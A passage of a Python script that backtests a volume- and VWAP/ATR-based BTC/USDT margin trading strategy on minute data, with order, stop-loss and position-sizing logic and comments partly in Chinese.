            self.df['open_direction'][index] = "BUY"
            extra_cost = size * float(self.df['next_open'][index]) * 1.0005
            self.df['open_cost_price'][index] = (pre_total_cost+extra_cost)/abs(self.df['position'][index])
        else:
            self.df['position'][index] += size
            self.df['open_direction'][index] = "BUY"
            self.df['open_cost_price'][index] = self.df['next_open'][index] * 1.0005

        self.calculate_net_value()

    def create_sell_order(self, size):
        index = self.index
        size = float(size)
        if size < 0:
            size = abs(size)
        order = self.df['next_open'][index] * size * 0.9995
        self.df['cash'][index] += order
        #计算成本价，逻辑要写3个：做空时的继续做空，做多时的减仓，空仓时做空。
        #做多时减仓有没有可能减到做空，这个需要测试一下。
        pre_position = self.df['position'][index]
        if pre_position < 0:
            pre_total_cost = -pre_position * self.df['open_cost_price'][index]
            self.df['position'][index] -= size
            self.df['open_direction'][index] = "SELL"
            extra_cost = size * float(self.df['next_open'][index]) * 0.9995
            self.df['open_cost_price'][index] = (pre_total_cost+extra_cost)/abs(self.df['position'][index])
        elif pre_position > 0:
            pre_total_cost = pre_position * self.df['open_cost_price'][index]
            self.df['position'][index] -= size
            self.df['open_direction'][index] = "SELL"
            extra_cost = size * float(self.df['next_open'][index]) * 0.9995
            self.df['open_cost_price'][index] = (pre_total_cost-extra_cost)/abs(self.df['position'][index])
        else:
            self.df['position'][index] -= size
            self.df['open_direction'][index] = "SELL"
            self.df['open_cost_price'][index] = self.df['next_open'][index] * 0.9995
        self.df['free_BTC'][index] -= size
        self.calculate_net_value()

    def create_close_order(self):
        index = self.index
        my_position = self.df['position'][index]

        if my_position > 0:
            self.df['cash'][index] += my_position * self.df['next_open'][index] * 0.9995
            self.df['position'][index] = 0
            self.df['open_direction'][index] = None  # The direction of the open position (Long/Short)
            self.df['open_cost_price'][index] = None  # Cost price of the open position
        elif my_position < 0:
            repay = self.df['next_open'][index] * abs(my_position) * 1.0005
            self.df['free_BTC'][index] += abs(my_position)
            self.df['cash'][index] -= repay
            self.df['position'][index] = 0
            self.df['open_direction'][index] = None  # The direction of the open position (Long/Short)
            self.df['open_cost_price'][index] = None
        self.df['max_profit'][index] = 0
        self.calculate_net_value()

    def handle_absolute_stop_orders(self, buy_signal, sell_signal):
        index = self.index

        max_profit = self.df['max_profit'][index]
        last_close = self.df['close'][index]
        my_position = self.df['position'][index]

        if my_position > 0:  # Long position
            buy_price = self.df['open_cost_price'][index]
            profit = (last_close - buy_price) / buy_price
            if profit < 0:
                profit = 0
            if profit > max_profit:
                self.df['max_profit'][index] = profit
            elif max_profit - profit >= self.buy_take_profit and not buy_signal:
                self.repay_Margin()
            elif last_close < buy_price * (1.0 - self.buy_stop_loss):
                self.repay_Margin()

        elif my_position < 0:  # Short position
            sell_price = self.df['open_cost_price'][index]
            profit = (sell_price - last_close) / sell_price
            if profit < 0:
                profit = 0
            if profit > max_profit:
                self.df['max_profit'][index] = profit
            elif max_profit - profit >= self.sell_take_profit and not sell_signal:
                self.repay_Margin()
            elif last_close > sell_price * (1.0 + self.sell_stop_loss):
                self.repay_Margin()

        self.calculate_net_value()

    def execute_trade(self):
        index = self.index
        my_position = self.df['position'][index]

        buy_risk_per_trade = self.buy_risk_per_trade
        sell_risk_per_trade = self.sell_risk_per_trade

        buy_vwap = self.df['buy_vwap'][index]
        sell_vwap = self.df['sell_vwap'][index]

        buy_atr = self.df['buy_atr'][index]
        sell_atr = self.df['sell_atr'][index]

        buy_atr_sma = self.df['buy_atr_sma'][index]
        sell_atr_sma = self.df['sell_atr_sma'][index]

        last_close = self.df['close'][index]
        last_volume = self.df['volume'][index]
        pre_volume = self.df['volume'][index-1]
        buy_avg_volume = self.df['buy_avg_volume'][index]
        sell_avg_volume = self.df['sell_avg_volume'][index]

        buy_signal = self.df['buy_signal'][index]
        sell_signal = self.df['sell_signal'][index]
        # 在市场中
        if my_position != 0:
            #更新buy price 和 sell price作为止盈止损的依据，这里的价格是最近一次成交的价格。
            # 买入逻辑
            if buy_signal:
                if my_position > 0:
                    size = self.calculate_size(avg_volume=buy_avg_volume, risk_per_trade=buy_risk_per_trade)
                    try:
                        if size - my_position > 0 and (size-my_position)*last_close > 11:
                            extra_buy = size - my_position
                            #print(f"Detected extra long buy signal, we are going to long extra {extra_buy} BTC.")
                            self.borrow_Margin(coin='USDT', how_much_borrow=extra_buy*last_close)
                            self.create_buy_order(size=extra_buy)
                        else:
                            #print(f"Detected long buy signal, but extra size does not meet minium amount 10 USDT.")
                            pass
                    except:
                        print("error")
                        print(f"size is {size}")
                        print(f"the net value is {self.df['net_value'][index]}")
                        print(f"my_position is {my_position}")
                if my_position < 0:  # 空头仓位
                    # 关闭空头，开始买入
                    self.repay_Margin()
                    self.df['max_profit'][index] = 0
                    size = self.calculate_size(avg_volume=buy_avg_volume, risk_per_trade=buy_risk_per_trade)
                    self.borrow_Margin(coin='USDT', how_much_borrow=size*last_close,)
                    self.create_buy_order(size=size)

            # 卖出逻辑
            elif sell_signal:
                if my_position < 0:
                    size = self.calculate_size(avg_volume=sell_avg_volume, risk_per_trade=sell_risk_per_trade)
                    if my_position + size > 0 and (my_position+size)*last_close > 11:
                        extra_sell = my_position + size
                        #print(f"Detected extra short sell signal, we are going to short extra {extra_sell} BTC.")
                        self.borrow_Margin(coin='BTC', how_much_borrow=extra_sell)
                        self.create_sell_order(size=extra_sell)
                    else:
                        #print(f"Detected short sell signal, but extra size does not meet minium amount 10 USDT.")
                        pass
                if my_position > 0:  # 多头仓位
                    # 关闭多头，开始卖出
                    self.repay_Margin()
                    self.df['max_profit'][index] = 0
                    size = self.calculate_size(avg_volume=sell_avg_volume, risk_per_trade=sell_risk_per_trade)
                    self.borrow_Margin(coin='BTC', how_much_borrow=size)
                    self.create_sell_order(size=size)

            self.handle_absolute_stop_orders(buy_signal, sell_signal)
        # 不在市场中
        else:
            self.df['max_profit'][index] = 0
            self.df['open_cost_price'][index] = 0
            # 买入逻辑
            if buy_signal:
                size = self.calculate_size(avg_volume=buy_avg_volume, risk_per_trade=buy_risk_per_trade)
                self.borrow_Margin(coin='USDT', how_much_borrow=size*last_close)
                self.create_buy_order(size=size)

            # 卖出逻辑
            elif sell_signal:
                size = self.calculate_size(avg_volume=sell_avg_volume, risk_per_trade=sell_risk_per_trade)
                self.borrow_Margin(coin='BTC', how_much_borrow=size)
                self.create_sell_order(size=size)
            # 获取当前的 UTC 时间（东0区时间）
        self.calculate_net_value()
        #return self.df.iloc[index]  # Returning the updated DataFrame

def load_data(filepath, end_date, data_len):
    # Step 1: Load the existing data
    df = pd.read_csv(filepath, sep=',')
    df['datetime'] = pd.to_datetime(df['datetime'], format='%Y-%m-%d %H:%M:%S')
    df.set_index('datetime', inplace=True)
    end_date = pd.to_datetime(end_date, format='%Y-%m-%d %H:%M:%S')

    # Step 2: Filter data based on end_date and data_len
    start_date = end_date - timedelta(days=data_len + 3)  # Adding 5 days as per your requirement
    extended_end_date = end_date + timedelta(minutes=1)  # Extending end_date by 1 minute
    filtered_df = df.loc[start_date:extended_end_date ]
    if filtered_df.empty:
        print(f"the date of {end_date} is not in the data, we are goting to trunc our data.")
        filtered_df = df.loc[start_date:]
    filtered_df['next_open'] = filtered_df['open'].shift(-1)

    # Step 3: Add additional columns that are missing (Populate these columns based on your logic)
    filtered_df['position'] = None  # Position in the trade
    filtered_df['net_value'] = None  # Net value of the trade to be computed based on your logic
    filtered_df['cash'] = None  # Cash available
    filtered_df['open_direction'] = None  # The direction of the open position (Long/Short)
    filtered_df['open_cost_price'] = None  # Cost price of the open position
    filtered_df['max_profit'] = None  # Maximum profit
    filtered_df['BTC_debt'] = None  # BTC debt
    filtered_df['USDT_debt'] = None  # USDT debt
    filtered_df['free_BTC'] = None
    filtered_df['buy_vwap'] = 0
    filtered_df['buy_atr'] = 0
    filtered_df['buy_atr_sma'] = 0
    filtered_df['sell_vwap'] = 0
    filtered_df['sell_atr'] = 0
    filtered_df['sell_atr_sma'] = 0
    return filtered_df

#load_data('BTCUSDT_1m.csv', '2023-08-23 00:00:00', 60)

def calculate_sma_numpy_with_padding(arr, window):
    sma = np.convolve(arr, np.ones(window)/window, mode='valid')
    pad_size = window - 1
    pad = np.full(pad_size, np.nan)
    sma_padded = np.concatenate((pad, sma))
    return sma_padded

# Function to calculate indicators for a specific range in numpy arrays
def calculate_indicators_for_range_inplace(start, end, arrays, buy_vwap_period,buy_atr_period,buy_atr_sma_period,sell_vwap_period,sell_atr_period,sell_atr_sma_period,max_length):
    arrays['buy_vwap'] = arrays['buy_vwap'].astype(float)
    arrays['sell_vwap'] = arrays['buy_vwap'].astype(float)
    arrays['buy_atr'] = arrays['buy_vwap'].astype(float)
    arrays['sell_atr'] = arrays['buy_vwap'].astype(float)
    arrays['buy_atr_sma'] = arrays['buy_vwap'].astype(float)
    arrays['sell_atr_sma'] = arrays['buy_vwap'].astype(float)
    start = start - max_length
    end = end + 1

    arrays['buy_vwap'][start:end] = calculate_vwap_numpy(arrays['high'][start:end], arrays['low'][start:end], arrays['close'][start:end], arrays['volume'][start:end], buy_vwap_period)
    arrays['buy_atr'][start:end] = calculate_atr_numpy(arrays['high'][start:end], arrays['low'][start:end], arrays['close'][start:end], buy_atr_period)
    arrays['buy_atr_sma'][start:end] = calculate_sma_numpy_with_padding(arrays['buy_atr'][start:end], buy_atr_sma_period)
    arrays['sell_vwap'][start:end] = calculate_vwap_numpy(arrays['high'][start:end], arrays['low'][start:end], arrays['close'][start:end], arrays['volume'][start:end], sell_vwap_period)
    arrays['sell_atr'][start:end] = calculate_atr_numpy(arrays['high'][start:end], arrays['low'][start:end], arrays['close'][start:end], sell_atr_period)
    arrays['sell_atr_sma'][start:end] = calculate_sma_numpy_with_padding(arrays['sell_atr'][start:end], sell_atr_sma_period)

if __name__ == "__main__":
    data_all = load_data("BTCUSDT_1m.csv", '2023-08-29 00:00:00', 6)

    start_time_total = time.time()
    symbol = 'BTC/USDT'
    last_action = 'free'
    buy_price = None
    sell_price = None
    max_profit = 0
    pre_my_position = 0

    with open('/home/WLH_trade/0615/trading/best_strategy', 'r') as file:
        best_strategy = json.load(file)

    sell_volume_window = best_strategy['1']['sell_volume_window']
    buy_volume_window = best_strategy['1']['buy_volume_window']
    buy_volume_multiplier = best_strategy['1']['buy_volume_multiplier']
    sell_volume_multiplier = best_strategy['1']['sell_volume_multiplier']
    buy_stop_loss = best_strategy['1']['buy_stop_loss']
    sell_stop_loss = best_strategy['1']['sell_stop_loss']
    buy_take_profit = best_strategy['1']['buy_take_profit']
    sell_take_profit = best_strategy['1']['sell_take_profit']
    sell_vwap_period = best_strategy['1']['sell_vwap_period']
    buy_vwap_period = best_strategy['1']['buy_vwap_period']
    buy_risk_per_trade = best_strategy['1']['buy_risk_per_trade']
    sell_risk_per_trade = best_strategy['1']['sell_risk_per_trade']
    buy_atr_period = best_strategy['1']['buy_atr_period']
    sell_atr_period = best_strategy['1']['sell_atr_period']
    #buy_atr_sma_period = best_strategy['1']['buy_atr_sma_period']
    #sell_atr_sma_period = best_strategy['1']['sell_atr_sma_period']
    buy_atr_sma_period = 5
    sell_atr_sma_period = 5
    max_length = max(sell_volume_window,buy_volume_window,sell_vwap_period,buy_vwap_period,sell_atr_period,buy_atr_period,sell_atr_sma_period,buy_atr_sma_period) + 1
    print(f"now we used the best strategy: {best_strategy['0']}, and its parameters are: {best_strategy['1']}")
    '''
    # 1. 计算VWAP
    data_all['buy_vwap'] = calculate_vwap(data_all, period=buy_vwap_period)
    data_all['sell_vwap'] = calculate_vwap(data_all, period=sell_vwap_period)

    # 2. 计算ATR
    data_all['buy_atr'] = calculate_atr(data_all, period=buy_atr_period)
    data_all['sell_atr'] = calculate_atr(data_all, period=sell_atr_period)

    # 3. 计算ATR的SMA（Simple Moving Average）
    data_all['buy_atr_sma'] = data_all['buy_atr'].rolling(window=buy_atr_sma_period ).mean()
    data_all['sell_atr_sma'] = data_all['sell_atr'].rolling(window=sell_atr_sma_period ).mean()

    # 4. 计算平均交易量
    data_all['buy_avg_volume'] = data_all['volume'].rolling(window=buy_volume_window).mean()
    data_all['sell_avg_volume'] = data_all['volume'].rolling(window=sell_volume_window).mean()
    # 预先计算买入和卖出条件
    data_all['buy_condition1'] = data_all['close'] > data_all['buy_vwap']
    data_all['buy_condition2'] = data_all['volume'].shift(1) > data_all['buy_avg_volume'] * buy_volume_multiplier * (data_all['buy_atr'] / data_all['buy_atr_sma'])
    data_all['buy_condition3'] = data_all['volume'] > data_all['buy_avg_volume'] * buy_volume_multiplier * (data_all['buy_atr'] / data_all['buy_atr_sma'])
    data_all['buy_signal'] = data_all['buy_condition1'] & (data_all['buy_condition2'] | data_all['buy_condition3'])

    data_all['sell_condition1'] = data_all['close'] < data_all['sell_vwap']
    data_all['sell_condition2'] = data_all['volume'].shift(1) > data_all['sell_avg_volume'] * sell_volume_multiplier * (data_all['sell_atr'] / data_all['sell_atr_sma'])
    data_all['sell_condition3'] = data_all['volume'] > data_all['sell_avg_volume'] * sell_volume_multiplier * (data_all['sell_atr'] / data_all['sell_atr_sma'])
    data_all['sell_signal'] = data_all['sell_condition1'] & (data_all['sell_condition2'] | data_all['sell_condition3'])
    '''
    # 创建一个字典来存储转换后的NumPy数组
    numpy_arrays = {}
    numpy_arrays['datetime'] = data_all.index.strftime('%Y-%m-%d %H:%M:%S').to_numpy()

    # 遍历DataFrame的每一列，并将其转换为NumPy数组
    for column in data_all.columns:
        numpy_arrays[column] = data_all[column].to_numpy()

    # Find the index of the row where datetime is '2023-08-23 00:00:00'
    # Note: We first convert the 'datetime' numpy array to a list and then find the index of the target date.
    target_date = '2023-08-23 00:00:00'
    row_at_date = np.where(numpy_arrays['datetime'] == target_date)[0][0]  # Getting the first occurrence

    target_date = pd.to_datetime(target_date, format='%Y-%m-%d %H:%M:%S')
    end_location = datetime.strftime(target_date + timedelta(days=6), '%Y-%m-%d %H:%M:%S')
    end_idx = np.where(numpy_arrays['datetime'] == str(end_location) )[0][0]

    calculate_indicators_for_range_inplace(start=row_at_date, end=end_idx, arrays=numpy_arrays,
                                        buy_vwap_period=buy_vwap_period,buy_atr_period=buy_atr_period,
                                        buy_atr_sma_period=buy_atr_sma_period,
                                        sell_vwap_period=sell_vwap_period,sell_atr_period=sell_atr_period,
                                        sell_atr_sma_period=sell_atr_sma_period,
                                        max_length=max_length)

    numpy_arrays['buy_avg_volume'] = calculate_sma_numpy_with_padding(numpy_arrays['volume'], buy_volume_window)
    numpy_arrays['sell_avg_volume'] = calculate_sma_numpy_with_padding(numpy_arrays['volume'], sell_volume_window)

    # Re-calculating the conditions and signals
    numpy_arrays['buy_condition1'] = numpy_arrays['close'] > numpy_arrays['buy_vwap']
    numpy_arrays['buy_condition2'] = np.roll(numpy_arrays['volume'], shift=1) > numpy_arrays['buy_avg_volume'] * buy_volume_multiplier * (numpy_arrays['buy_atr'] / numpy_arrays['buy_atr_sma'])
    numpy_arrays['buy_condition3'] = numpy_arrays['volume'] > numpy_arrays['buy_avg_volume'] * buy_volume_multiplier * (numpy_arrays['buy_atr'] / numpy_arrays['buy_atr_sma'])
    numpy_arrays['buy_signal'] = numpy_arrays['buy_condition1'] & (numpy_arrays['buy_condition2'] | numpy_arrays['buy_condition3'])

    numpy_arrays['sell_condition1'] = numpy_arrays['close'] < numpy_arrays['sell_vwap']
    numpy_arrays['sell_condition2'] = np.roll(numpy_arrays['volume'], shift=1) > numpy_arrays['sell_avg_volume'] * sell_volume_multiplier * (numpy_arrays['sell_atr'] / numpy_arrays['sell_atr_sma'])
    numpy_arrays['sell_condition3'] = numpy_arrays['volume'] > numpy_arrays['sell_avg_volume'] * sell_volume_multiplier * (numpy_arrays['sell_atr'] / numpy_arrays['sell_atr_sma'])
    numpy_arrays['sell_signal'] = numpy_arrays['sell_condition1'] & (numpy_arrays['sell_condition2'] | numpy_arrays['sell_condition3'])

    # Set the initial values for the relevant columns at the index (row_at_date - 1)
    initial_values = {
        'cash': 10000,
        'position': 0,
        'open_direction': 0,
        'open_cost_price': 0,
        'max_profit': 0,
        'BTC_debt': 0,
        'USDT_debt': 0,
        'net_value': 10000,
        'free_BTC': 0
    }

    # Iterating through the dictionary keys to set the initial values
    for column, initial_value in initial_values.items():
        numpy_arrays[column][row_at_date - 1] = initial_value

    start_time = time.time()

    # 用NumPy数组的长度替换Pandas DataFrame的长度
    for start_idx in range(row_at_date, end_idx+1):  # Replace 'some_column' with an actual column name
        #print(numpy_arrays['datetime'][start_idx])
        # 传递NumPy数组而不是DataFrame
        trade = TradeLogic(
            df=numpy_arrays,
            index=start_idx,
            buy_risk_per_trade=buy_risk_per_trade,
            sell_risk_per_trade=sell_risk_per_trade,
            buy_stop_loss = buy_stop_loss,
            sell_stop_loss = sell_stop_loss,
            buy_take_profit = buy_take_profit,
            sell_take_profit = sell_take_profit)
        trade.execute_trade()  # This modifies numpy_arrays in-place

    final_data = pd.DataFrame.from_dict({key: pd.Series(value) for key, value in numpy_arrays.items()})
    final_data.to_csv('numpy_for_backtest_0903_np.csv', index=False)

    print(numpy_arrays['net_value'][end_idx])
    print('Time taken for total: ', time.time() - start_time_total, ' seconds')
    print('Time taken for loop: ', time.time() - start_time, ' seconds')